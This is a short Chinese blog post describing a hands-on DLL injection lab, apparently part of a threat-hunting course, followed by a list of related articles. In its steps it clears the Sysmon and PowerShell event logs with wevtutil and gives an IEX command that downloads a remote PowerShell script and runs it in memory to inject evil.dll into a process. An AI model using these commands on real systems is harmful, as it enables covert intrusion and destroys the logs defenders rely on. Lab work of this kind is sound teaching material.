dll执行注入实操

本文涉及的产品
对象存储 OSS,20GB 3个月
对象存储 OSS,恶意文件检测 1000次 1年
对象存储 OSS,内容安全 1000次 1年
简介: dll执行注入实操

【dll执行注入实操】

执行注入
(1)开启WireShark捕获数据包。选择正确的网卡设备进行监听

(2)清除系统当前Sysmon和PowerShell ScriptBlock日志

以管理员身份打开 PowerShell 终端,运行以下两个命令:

wevtutil cl “Microsoft-Windows-Sysmon/Operational”wevtutil cl “Microsoft-Windows-PowerShell/Operational”
(3)准备Powershell脚本该脚本具备实现DLL注入的功能,目的是将evil.dll注入至目标进程。项目参考PowerSpolit或者Faanross。以管理员打开powershell下载脚本并注入内存,操作如下:

IEX (New-Object Net.WebClient).DownloadString('h--thubusercontent.com/faanross/threat.hunting.course.01.resources/main/Invoke-DllInjection-V2.ps1')
若无任何输出,则表示执行成功。

相关文章
|
7月前
|
监控 编译器 API
[笔记]Windows核心编程《二十二》注入DLL和拦截API(一)
[笔记]Windows核心编程《二十二》注入DLL和拦截API
146 0
|
8月前
|
安全 API Windows
3.1 DLL注入:常规远程线程注入
动态链接库注入技术是一种特殊的技术,它允许在运行的进程中注入DLL动态链接库,从而改变目标进程的行为。DLL注入的实现方式有许多,典型的实现方式为远程线程注入,该注入方式的注入原理是利用了`Windows`系统中提供的`CreateRemoteThread()`这个API函数,该函数第四个参数是准备运行的线程,我们将`LoadLibrary()`函数填入其中,这样就可以执行远程进程中的`LoadLibrary()`函数,进而将我们自己准备的DLL加载到远程进程空间中执行,DLL在被装载后则会自动执行初始化部分。
76 0
|
10月前
|
C++ Windows
C++ --- Dll文件的生成与调用(二)之动态库注入技术
C++ --- Dll文件的生成与调用(二)之动态库注入技术
108 0
|
6月前
|
监控 安全 虚拟化
DLL注入的环境构建
DLL注入的环境构建
|
6月前
|
移动开发 安全 Shell
DOS命令注入实操
DOS命令注入实操
|
7月前
|
消息中间件 编解码 安全
[笔记]Windows核心编程《二十二》注入DLL和拦截API(二)
[笔记]Windows核心编程《二十二》注入DLL和拦截API(二)
104 0
|
7月前
|
安全 API Windows
[笔记]Windows核心编程《二十二》注入DLL和拦截API(三)
[笔记]Windows核心编程《二十二》注入DLL和拦截API(三)
136 0
|
11月前
|
Java 应用服务中间件 容器
javaweb项目中引用带有dll文件处理方式
javaweb项目中引用带有dll文件处理方式
|
消息中间件 编解码 安全
[笔记]Windows核心编程《二十二》注入DLL和拦截API
]Windows核心编程《二十二》注入DLL和拦截API
412 0
[笔记]Windows核心编程《二十二》注入DLL和拦截API
|
中间件 PHP 容器
ThinkPHP框架执行流程源码解析(2)
ThinkPHP框架执行流程源码解析
154 0
ThinkPHP框架执行流程源码解析(2)